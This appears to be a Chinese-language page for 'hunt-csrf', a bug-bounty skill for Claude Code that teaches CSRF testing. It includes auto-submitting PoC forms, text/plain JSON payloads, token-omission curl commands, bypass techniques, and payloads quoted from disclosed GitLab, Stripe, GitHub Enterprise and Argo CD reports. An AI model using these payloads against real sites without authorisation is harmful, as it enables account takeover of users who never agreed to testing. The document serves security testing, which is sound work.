关于 hunt-csrf
hunt-csrf 是用于发现和验证 Web 状态变更流程中 CSRF 风险的安全测试技能,强调真实浏览器复现、Cookie 行为和实际影响证据。
主要功能
- 01梳理状态变更端点
- 02评估 SameSite Cookie 行为
- 03测试 CSRF 令牌校验与复用
- 04构建浏览器验证页面
- 05优先评估账户与数据影响
适用场景
- 01测试账户设置和邮箱变更
- 02评估 OAuth 与社交账户关联流程
- 03检查 JSON API 的跨站状态变更
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-csrf安装后在 Claude Code 中输入/hunt-csrf确认已加载。
详细介绍
适用场景
当目标存在已登录用户可触发的任何状态变更端点时使用,例如账户设置、邮箱变更、社交账户关联、OAuth 流程、API 调用或文件操作上的 POST/PUT/DELETE。CSRF 通过伪造跨源请求,利用网站对用户浏览器的信任。每次表单提交、AJAX 调用、OAuth 回调和 API 变更操作都可能成为攻击目标。价值最高的目标:账户接管途径(OAuth/SSO 流程、社交账户关联)、身份验证基础设施(登录 CSRF、会话固定)、接受跨源 POST 的 JSON API,以及第三方集成(Grafana、监控仪表板)。
⚠️ 严重:curl ≠ 浏览器。应以浏览器安全模型为准。
CSRF PoC 必须能在真实浏览器中运行,而不只是 curl。 浏览器会强制执行 curl 忽略的规则:
| 浏览器规则 | curl 行为 | 实际 CSRF 影响 |
|---|---|---|
SameSite=Lax | curl 仍会发送 Cookie | 跨站 POST 时阻止发送 Cookie — 不存在 CSRF |
SameSite=Strict | curl 仍会发送 Cookie | 所有跨站请求都阻止发送 Cookie — 不存在 CSRF |
| CORS 预检 | curl 跳过 OPTIONS | 如果 Content-Type: application/json,浏览器会阻止请求 |
Sec-Fetch-Site: cross-site | curl 不会发送此标头 | 服务器可通过此标头拒绝跨站请求 |
CSRF 验证清单:
- ✅ 端点会更改状态(POST/PUT/DELETE)
- ✅ Cookie 设置了
SameSite=None,或针对基于 GET 的操作设置了SameSite=Lax - ✅ 不要求自定义 CSRF 令牌/标头
- ✅ PoC 能在真实浏览器中从不同源发起并成功运行
如果第 2 步不满足(POST 端点使用 SameSite=Lax)→ 仅通过 curl 无法利用 CSRF。 SameSite=Lax 允许在顶层导航 GET 请求中携带 Cookie,但不允许跨站 POST。使用 Cookie 的 curl POST 请求成功属于误报 — 浏览器会阻止该请求。
绕过 CSRF 中间件防护:
- 许多现代 Web 框架(例如默认启用 CSRF 防护的框架)会在缺少 CSRF 令牌或令牌无效时,以
403 Forbidden响应拒绝 POST、PUT 或 DELETE 等状态变更请求。 - 在某些应用中,如果相同的 CSRF 中间件未覆盖
PATCH方法,或对其采用了不同的处理方式,就可能改用 PATCH 执行相同的状态变更操作。如果服务器接受请求但未验证 CSRF 令牌,就可能绕过 CSRF 防护。
SameSite 速查表:
| Cookie 属性 | 浏览器发送 Cookie 的情况…… |
|---|---|
SameSite=None | 所有跨站请求(需要 Secure) |
SameSite=Lax | 跨站 GET(仅限顶层导航)。阻止 POST |
SameSite=Strict | 仅同站请求。阻止所有跨站请求 |
| 未设置(默认值) | 现代浏览器会按 Lax 处理 |
核心高价值目标
当 CSRF 影响到会造成账户级或财务后果的状态变更操作时,其价值会大幅提升。回报最高的目标包括:
- 账户接管途径:OAuth/SSO 流程(RelayState 操纵)、社交账户关联/取消关联(Oculus-Facebook、SocialClub)、会暴露 OAuth 令牌的好友导入功能
- 身份验证基础设施:登录 CSRF、通过 CSRF 实现会话固定、强制关联账户
- 接受跨源 POST 的 API 端点:JSON API、心跳/活动 API,以及任何跳过 Content-Type 强制检查的端点
- 第三方集成:Grafana、监控仪表板、嵌入式分析 — 其 CSRF 防护通常滞后
- 社交平台:Twitter/X 收藏集、好友导入、社交关系图变更 — 高调用量、经过身份验证且会对真实用户造成影响的操作
回报最高的资产类型: 核心产品身份验证流程 > API 网关 > 运行在子域上的第三方集成 > 管理面板。
攻击面信号
URL 模式
/oauth/authorize?RelayState=
/accounts/link
/import/friends
/api/v*/heartbeat
/api/v*/collect
/monitoring/* (Grafana, Prow, Prometheus)
/auth/saml/callback
/connect/* (social integrations)
响应标头信号
# Missing or weak SameSite cookie attributes
Set-Cookie: session=abc123; HttpOnly # no SameSite = vulnerable
Set-Cookie: session=abc123; SameSite=None # explicitly allows cross-site
# Missing CSRF headers
# No X-Frame-Options or permissive CORS
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true # dangerous combo
JS / DOM 模式
// Static or predictable CSRF tokens
meta[name="csrf-token"] // grep if value changes across sessions
authenticity_token // Rails — check if reused across page loads
// JSON endpoints without Content-Type enforcement
fetch('/api/heartbeat', {method: 'POST', body: JSON.stringify(data)})
// No CSRF token in form at all
<form method="POST" action="/accounts/link"> // no hidden token field
技术栈信号
- Rails 应用:查找
authenticity_token— 测试它在会话期间是否固定不变 - Django 应用:检查
csrfmiddlewaretoken— 测试它是否可跨用户/会话复用 - Grafana 实例:CVE-2022-21703 — 通过
/api/health检查版本 - SAMLv2/OIDC 流程:
RelayState参数很少经过验证 - Express/Node API:通常会在
/api/*路由上跳过 CSRF 中间件
分步测试方法
-
梳理所有会改变状态的端点 — 爬取已认证会话,筛选 POST/PUT/DELETE/PATCH 请求。记录每个表单和 AJAX 调用。
-
检查 Cookie 的 SameSite 属性 — 在 DevTools → Application → Cookies 中查看。标记任何未设置
SameSite=Strict或Lax的会话 Cookie。 -
测试令牌是否固定不变 — 登录两次(使用不同会话或无痕模式)。比较以下
authenticity_token/csrfmiddlewaretoken/csrf-token的值:- 同一会话,不同页面加载(值应不同)
- 同一用户的不同会话
- 完全不同的用户
-
测试省略令牌 — 从 POST 请求中完全移除 CSRF 令牌字段。如果服务器返回 200,则存在 CSRF 漏洞。
-
测试令牌替换 — 将令牌替换为来自其他会话的令牌。服务器接受该令牌即表示验证失效。
-
测试 JSON 端点是否存在表单 POST CSRF — 检查是否强制要求 Content-Type:
- 向 JSON 端点发送
application/x-www-form-urlencoded - 发送带有 JSON 请求体的
text/plain - 如果请求被接受,HTML 表单就能从跨域页面触发该请求
- 向 JSON 端点发送
-
测试 OAuth/SSO RelayState — 拦截 SAML/OIDC 流程。测试
RelayState是否经过同源验证。注入外部 URL。 -
检查社交账号关联流程 — 测试每个“关联你的 X 账号”功能。这类功能通常使用基于重定向的 OAuth,在回调中发生 CSRF 时,可能会关联攻击者的社交账号。
-
测试子域上的第三方仪表板 — Grafana、Kibana、Prometheus。检查版本,应用已知 CVE,并测试默认 CSRF 防护情况。
-
构建 PoC HTML 页面 — 将页面托管在不同源上,发送请求,并确认是否发送了 Cookie 以及操作是否执行。
载荷与检测模式
基本 CSRF PoC(表单 POST)
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="https://target.com/api/v1/account/link">
<input type="hidden" name="provider" value="attacker_account_id" />
<input type="hidden" name="token" value="oauth_token_here" />
</form>
</body>
</html>
通过 text/plain 发起 JSON CSRF(绕过 Content-Type 检查)
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="https://target.com/api/heartbeat"
enctype="text/plain">
<input type="hidden" name='{"status":"ok","x":"' value='padding"}' />
</form>
</body>
</html>
curl:测试省略 CSRF 令牌
# Capture a valid request, then replay without token
curl --max-time 30 --connect-timeout 10 -s -X POST https://target.com/settings/email \
-H "Cookie: session=YOUR_SESSION" \
-d "[email protected]" \
-v 2>&1 | grep -E "HTTP|location|error"
curl:测试跨会话复用令牌
# Get token from session A
TOKEN_A=$(curl --max-time 30 --connect-timeout 10 -s https://target.com/settings -H "Cookie: session=SESSION_A" \
| grep -Eo 'authenticity_token[^"]*value="\K[^"]+')
# Use token A in session B's request
curl --max-time 30 --connect-timeout 10 -s -X POST https://target.com/settings/update \
-H "Cookie: session=SESSION_B" \
-d "authenticity_token=$TOKEN_A&[email protected]" \
-v
用于侦察的 Grep 模式
# Find CSRF token fields in HTML responses
grep -Eo 'name="(csrf|_token|authenticity_token|csrfmiddlewaretoken)"[^>]*value="[^"]+"'
# Find forms without CSRF tokens
grep -B5 -A20 '<form method="[Pp][Oo][Ss][Tt]"' response.html | grep -L "csrf\|token\|nonce"
# Check SameSite in response headers
curl --max-time 30 --connect-timeout 10 -sI https://target.com/login | grep -i "set-cookie"
# Find RelayState parameters
grep -r "RelayState" --include="*.js" .
Grafana CVE-2022-21703 版本检查
curl --max-time 30 --connect-timeout 10 -s https://monitoring.target.com/api/health | jq '.version'
# Vulnerable: < 8.3.5, < 8.4.3, < 7.5.15
常见根本原因
-
每个会话使用固定的 CSRF 令牌 — 开发者在登录时生成一个令牌,并重复使用。Airbnb 漏洞:一个会话中的
authenticity_token在所有页面加载中都相同,因此极易泄露。 -
令牌未绑定用户身份 — 令牌在整个服务器范围内有效,或按计划轮换,而非按用户/会话生成。Mozilla 漏洞:
csrftoken可跨用户复用。 -
“次要”端点缺少令牌 — 开发者保护了登录/注册功能,却忘记了 API 端点、导入流程或 Webhook 处理程序。
-
误以为 JSON API 安全 — 认为
Content-Type: application/json可以防止 CSRF。它确实能通过 CORS 预检实现这一点 — 除非服务器也接受text/plain或application/x-www-form-urlencoded。 -
跨站嵌入使用 SameSite=None — 开发者为支持 iframe 嵌入或第三方集成而设置
SameSite=None,无意中重新启用了 CSRF。 -
未验证 OAuth RelayState — 开发者实现了 SAML/OIDC,却把
RelayState当作重定向提示,而非需要通过加密方式绑定的 CSRF 状态参数。 -
框架配置错误 — 在 Django/Rails 中,由于认为“API 客户端不需要”,而将
/api/*路由排除在 CSRF 中间件之外,但基于浏览器的 JS 客户端仍需要它。 -
第三方软件的默认配置 — 较早版本的 Grafana、Kibana、Jenkins 的 CSRF 防护薄弱或缺失;团队未及时修补或检查。
绕过技术
防御:SameSite=Lax Cookie
绕过方式: 顶级导航的 GET 请求仍然有效。如果可以通过 GET 触发敏感操作(或者重定向链会将 POST 转换为 GET),Lax 就无法提供保护。另外,子域仍可为父域设置 Cookie。
防御:存在 CSRF 令牌
绕过方式:
- 令牌在每个会话中都是静态的——可通过 XSS、Referer 泄露或缓存页面窃取
- 服务端未验证令牌——只需移除令牌并尝试
- 仅验证令牌长度或格式——提交一个格式正确但伪造的值
- 令牌与会话绑定,但会话可预测
防御:强制执行 Content-Type: application/json
绕过方式: 使用 text/plain enctype,并精心构造表单输入名称,使其生成有效的 JSON。服务器会收到 JSON 请求体,并跳过 CORS 预检。
防御:检查 Referer/Origin 标头
绕过方式:
- Null Origin:使用沙盒 iframe(
<iframe sandbox="allow-scripts allow-forms">) - 子域绕过:如果信任
*.target.com,且你在任一子域上有 XSS - Referer 被剥离:HTTPS→HTTP 跳转会剥离 Referer 标头
- 匹配规则宽松:
target.com.evil.com可通过简单的字符串匹配
防御:双重提交 Cookie 模式
绕过方式: 如果攻击者能够设置 Cookie(子域接管、通过 HTTP 注入 Cookie),就可以将 Cookie 和表单字段都设置为匹配的攻击者可控值。
防御:自定义请求标头(例如 X-Requested-With)
绕过方式: 简单请求(表单 POST、text/plain)不会触发预检,也无法设置自定义标头——但某些服务器只检查标头是否存在,而不检查其值;某些框架也会接受缺少该标头的请求。
第 0 关验证
-
攻击者现在能做什么?——攻击者必须能够代替受害者触发特定的状态变更操作(关联账户、更改电子邮件、删除数据、关联社交账户),且受害者除了访问某个 URL 或页面外,无需进行任何交互。
-
受害者会失去什么?——明确具体危害:账户访问权(ATO)、数据泄露、经济损失、声誉受损。“缺少 CSRF 令牌”不算影响;“攻击者可以将自己的 Oculus 账户关联到受害者的 Facebook 账户,从而获得完整的个人资料访问权限”才算影响。
-
能否从头开始在 10 分钟内复现?——你必须能够在 10 分钟内完成以下所有操作,且无需满足其他前提: (a) 创建攻击者和受害者账户;(b) 托管一个静态 HTML PoC;(c) 让受害者访问 PoC;(d) 确认该操作已在受害者账户中执行。
真实影响示例
场景 1:通过导入好友接管社交账户(Rockstar Games)
攻击者制作了一个恶意页面,针对“导入好友” OAuth 集成。当已登录的 SocialClub 用户访问该页面时,CSRF 会触发 OAuth 令牌交换,并使用攻击者控制的社交账户。受害者的 SocialClub 账户会被永久关联到攻击者的 Facebook/社交身份,使攻击者能够在受害者不知情的情况下完全访问其账户。由于这条路径会导致账户完全受损,因此严重性评级为高。
场景 2:通过 Oculus 集成 CSRF 劫持 Facebook 账户
在 Oculus 与 Facebook 账户关联过程中,OAuth 回调缺少适当的 CSRF state 验证。攻击者可以制作一个 URL;当已登录 Facebook 且已开始 Oculus 关联流程的用户加载该 URL 时,攻击者的 Oculus 设备凭据就会与受害者的 Facebook 账户关联。随后,攻击者便可通过 Oculus 应用持续访问受害者的 Facebook 个人资料。此攻击只要求受害者在登录 Facebook 时点击一个链接。
场景 3:心跳/活动跟踪中的 JSON API CSRF
开发人员认为,接受 application/json 的 POST 端点不受 CSRF 攻击。研究人员构造了一个 HTML 表单,使用 enctype="text/plain",并设计了一个输入项名称,使提交时生成语法有效的 JSON。浏览器跨源发送了请求,且无需预检(没有自定义标头,text/plain 属于简单请求);请求中附带了 Cookie,服务器则将 JSON 请求体作为合法数据处理,在受害者的账户身份下悄悄记录了攻击者控制的活动数据。
已披露报告引用(补充 +5 — 2020-2024)
以下真实且经过验证的漏洞赏金/协同披露案例扩展了此技能。其中四个案例通过 CSRF 链接到完整账户接管(ATO);五个案例均为现代案例(SameSite 时代)。
-
Argo CD — 通过同级子域名绕过 SameSite=Lax + 滥用 Content-Type(CVE-2024-22424) (GHSA-92mw-q256-5vwg · 分析文章)
- 子类:SameSite=None/Lax 配置错误链——利用同一父域名绕过 + 因缺少 Content-Type 强制检查而实现 JSON CSRF
- 攻击载荷:托管于
marketing.victim.com,目标为argocd.internal.victim.com→fetch('https://argocd.internal.victim.com/api/v1/applications', {method:'POST', credentials:'include', body:'{"metadata":{"name":"pwn"},"spec":{"source":{"repoURL":"https://attacker/manifest.git"}}}'}) - 根本原因:Argo CD 未强制要求
Content-Type: application/json;当攻击者控制共享父域名下的任意同级子域名时,SameSite=Lax 形同虚设 - 年份:2023 年报告,2024 年 1 月在 2.7.16/2.8.8/2.9.4 中修复
-
GitLab — 通过转换为 GET 的变更操作,对
/api/graphql发起 CSRF (H1 #1122408)- 子类:GET 状态变更端点(通过 GET 请求执行 GraphQL 变更操作)
- 攻击载荷:
<img src="https://gitlab.com/api/graphql?query=mutation{createSnippet(input:{title:%22x%22,visibilityLevel:public,content:%22pwn%22}){snippet{id}}}"> - 根本原因:HTTP 方法为 GET 时,后端跳过了
X-CSRF-Token验证;GraphQL 接受通过?query=mutation{...}查询字符串提交的变更操作 - 年份:2021 — $3,370
-
Stripe Dashboard — 代码变更导致 CSRF 中间件被禁用 (H1 #1483327)
- 子类:框架配置错误——全局禁用中间件
- 攻击载荷:
<form method="POST" action="https://dashboard.stripe.com/account/settings" enctype="text/plain"><input name='{"business_name":"pwned","x":"' value='"}'></form>+ 自动提交脚本 - 根本原因:2022-02-14 的部署意外关闭了所有 Stripe Dashboard 端点上的 CSRF 中间件
- 年份:2022 — $5,000($2,500 × 2 名研究人员)
-
GitHub Enterprise Server — 通过路径遍历绕过 CSRF(CVE-2022-23732) (H1 #1497169)
- 子类:绕过 CSRF 令牌验证(通过路径遍历将请求绕过令牌检查)
- 攻击载荷:
<form method=POST action="https://ghes.victim.com/setup/api/start/..%2f..%2fadmin%2fusers"><input name=login value=attacker></form> - 根本原因:路由器在执行时匹配路径遍历后的路径,却在确定 CSRF 保护范围时匹配遍历前的路径,因此无需有效令牌即可访问受保护端点
- 年份:2022 — $10,000
-
HackerOne 自身 — 社交账户关联中的 CSRF → ATO (H1 #1727221)
- 子类:账户关联 CSRF(关联社交账户提供商时未绑定 state)
- 攻击载荷:
<img src="https://hackerone.com/users/social_accounts/google?code=ATTACKER_CODE&state=PREDICTABLE">— 受害者的浏览器完成由攻击者发起的关联流程 - 根本原因:绑定到 OAuth 关联回调的令牌被重复使用,或未绑定到用户,因此攻击者发起的关联回调会在受害者的会话中被接受——攻击者的 Google 账户因此成为有效的登录方式 = ATO
- 年份:2022 — 在 H1 自身计划中属于信息级范围,但有公开 PoC
Duende BFF — 按角色分区的反伪造机制(2024-2026 年功能概况)
Duende BFF(IdentityServer4 的商业后继产品)是用于 SPA 的规范 ASP.NET Core BFF 库。其反伪造机制非标准且不绑定用户:Duende 不使用 ASP.NET Core 的按会话/按用户双重提交令牌,而只要求每个映射到 BFF 的端点都带有静态标头 X-CSRF: 1。所有调用者的标头值都相同;它的唯一作用是在跨源调用时触发 CORS 预检。这使 CSRF 防御简化为“同源 + 存在会话 Cookie”,当一个 BFF 为多个权限分区提供服务时,会产生几种不同的攻击模式。
**架构简介:**浏览器↔BFF 通过加密的 HttpOnly 会话 Cookie(默认 .AspNetCore.Cookies)进行身份验证;BFF↔API 使用缓存在服务端的 OAuth 令牌。通过 MapBffManagementEndpoints / MapRemoteBffApiEndpoint / MapBffApiEndpoint 注册的端点会检查 X-CSRF: 1 和会话是否存在,不会检查其他内容。(docs.duendesoftware.com/bff,Duende blog Mar 2025)
攻击类别 1 — X-CSRF: 1 不绑定用户,因此同源跨角色重放可成功
当一个 BFF 同时为 /admin/* 和 /user/* 分区提供服务时,反伪造机制无法区分角色 A 和角色 B。只要受害者具有管理员角色,任何能够发出带有 X-CSRF: 1 的 XHR 并携带受害者会话 Cookie 的同源脚本,都能访问管理员端点。标准 ASP.NET Core 反伪造机制(会将令牌绑定到 HttpContext.User.Identity.Name,并在身份变更时拒绝请求)在这里能正确处理;Duende BFF 则不能。(docs.duendesoftware.com/bff/fundamentals/options)
**载荷形式:**从已登录的低权限会话发起 fetch('/bff/admin/users/delete?id=42', {credentials:'include', headers:{'X-CSRF':'1'}}) — 如果受害者的会话恰好具有管理员角色,且攻击者能够注入任意同源脚本(自行触发的 XSS、子域名接管后的 JS、依赖混淆),请求就会成功。
攻击类别 2 — SignalR/WebSocket 例外路径(/negotiate 快捷方式)
浏览器 WebSocket 无法发送自定义标头,因此无法在升级连接时强制要求 X-CSRF: 1。开发者经常通过将 SignalR Hub 路径排除在 BFF 反伪造机制之外来解决这个问题(MapHub<X>().DisableAntiforgery(),或将它们注册为非 BFF 端点)。排除后,任何同站点来源(包括被接管的相邻子域名或存储型 XSS 页面)都能通过附带的会话 Cookie 建立 WS 连接 → 利用 WebSocket 发起 CSRF,调用会修改状态的 Hub 方法。
**载荷形式:**跨源页面打开 new WebSocket("wss://bff.example.com/hubs/admin") — 浏览器会发送会话 Cookie,无需 X-CSRF,攻击者可通过标准 SignalR JSON 帧调用 DeleteUser(id)。(DuendeArchive/Support#972,learn.microsoft.com/aspnet/core/signalr/security)
攻击类别 3 — Cookie 域名通配符将子域名接管变为会话固定攻击
BFF 会话 Cookie 默认仅限当前主机,但开发者通常会覆盖设置 options.Cookie.Domain = ".example.com",以便在 app.example.com 和 admin.example.com 之间共享登录状态。这会移除 __Host- 前缀保护。接管 legacy.example.com(CNAME 指向已取消配置的 Heroku/S3)→ 设置 Set-Cookie: .AspNetCore.Cookies=<attacker_session>; Domain=.example.com → 受害者访问 app.example.com 时携带攻击者的会话 = 会话固定导致账户接管(ATO)。(nestenius.se BFF cookie hardening)
证据强度
截至 2026-05,不存在直接影响 Duende.BFF 的 CVE。上述三类问题属于设计层面/有文档记录的行为;当它们与同源原语(同源脚本执行、SignalR 例外或子域名接管)结合时,就会成为实际发现的问题。报告严重性时,应侧重攻击链的业务影响,而不是引用 CVE。Duende 生态中已确认的相邻 CVE:CVE-2025-26620(Duende.AccessTokenManagement 竞争条件)、CVE-2024-51987(Duende.AccessTokenManagement.OpenIdConnect 刷新后使用了错误的令牌)、CVE-2024-39694(Duende.IdentityServer 开放重定向)。(Duende 在 GitHub 上发布的安全公告)
狩猎检查清单
curl --max-time 30 --connect-timeout 10 https://target/bff/user -H 'X-CSRF: 1' -b '<session>'— 导出完整的声明集,包括内部 ID、角色名称和租户 ID(单独来看属于信息泄露)。- 检查
/bff/login回调中的Set-Cookie— 标记Domain=属性(相较于__Host-前缀);标记缺少Secure/HttpOnly的情况。 - 使用低权限会话,向管理员分区的 POST 请求重放
X-CSRF: 1,确认令牌未绑定具体角色。 - 枚举 SignalR/WS 中心(
/hubs/*、/signalr/*)— 不带X-CSRF访问;如果返回 101 Switching Protocols,则 CSWSH 类攻击可行。 - 若 BFF Cookie 含有
Domain=.example.com,则盘点子域名并扫描 DNS 接管风险,检查所有*.example.com。
验证
- CSRF 表单生成 — 验证 HTML 表单模板:
echo '<form method="POST" action="https://target.com/endpoint"><input name="csrf_test" value="1"></form>' | grep -q "form method" && echo "PASS" || echo "FAIL" - SameSite Cookie 检测 — 确认能识别 SameSite:
echo "Set-Cookie: session=abc; SameSite=Lax" | grep -q "SameSite" && echo "PASS: SameSite recognized" || echo "FAIL"
所有测试都会验证 CSRF 探测。
注意事项
- 注销时的 CSRF — 注销 CSRF 至多只能作为信息性问题。除非与会话固定攻击结合,否则没有实际影响。
- 对 SameSite=Lax 绕过的假设 — 在顶层 GET 导航中会发送 Lax Cookie。通过表单 GET 发起的 CSRF 仍可能奏效。
- 未进行验证测试的反 CSRF 令牌 — 移除令牌后收到 200,并不能证明缺少验证。端点可能使用其他机制(双提交 Cookie、自定义标头)。
- 绕过 Content-Type 检查 — 如果服务器只检查
Content-Type: application/json,可尝试使用 JSON 请求体并设置text/plain,或使用带有类 JSON 结构的表单编码。 - 绕过 CORS 预检 ≠ CSRF — 绕过 CORS 的 OPTIONS 预检并不会自动启用 CSRF。这是不同的攻击类型。
相关技能与攻击链
hunt-xss— 可信来源上的任何 XSS 都能立即使 CSRF 防御(令牌、SameSite、Origin 检查)失效。攻击链原语:XSS 读取meta[name=csrf-token]的值,并通过同源 fetch 向/accounts/email发送攻击者负载 → 攻击者页面通过 postMessage 触发存储型 XSS 执行状态更改,一键实现 ATO。hunt-auth-bypass— CSRF 与身份验证绕过原语结合后,攻击者侧脚本就能执行本应需要更高级别身份验证的状态更改。攻击链原语:针对/settings/password的 CSRF 到达跳过重新身份验证检查的端点 → 无需受害者输入当前密码即可更改密码 → ATO。hunt-oauth— OAuth/SAML 的state/RelayState在结构上属于 CSRF 令牌;此处缺少验证即为账户关联 CSRF。攻击链原语:攻击者在自己的账户上发起 OAuth,再将/callback?code=X&state=URL 发送给受害者 → 受害者已登录的浏览器完成关联 → 攻击者的社交身份由此控制受害者账户。security-arsenal— 从头编写之前,先使用 CSRF PoC 模板(表单 POST、enctype=text/plainJSON、沙盒 iframe 的 null-origin、base64 multipart 绕过);还可使用针对 Origin/Referer 检查的 WAF 绕过标头变体。triage-validation— 在提交针对注销端点或任何不会造成状态变更的操作的 CSRF 问题前,先运行 Pre-Severity Gate — 这些是典型的 N/A 陷阱。确认受害者确实会失去具体利益(账户访问权、资金、数据),而不只是“执行了一个请求”。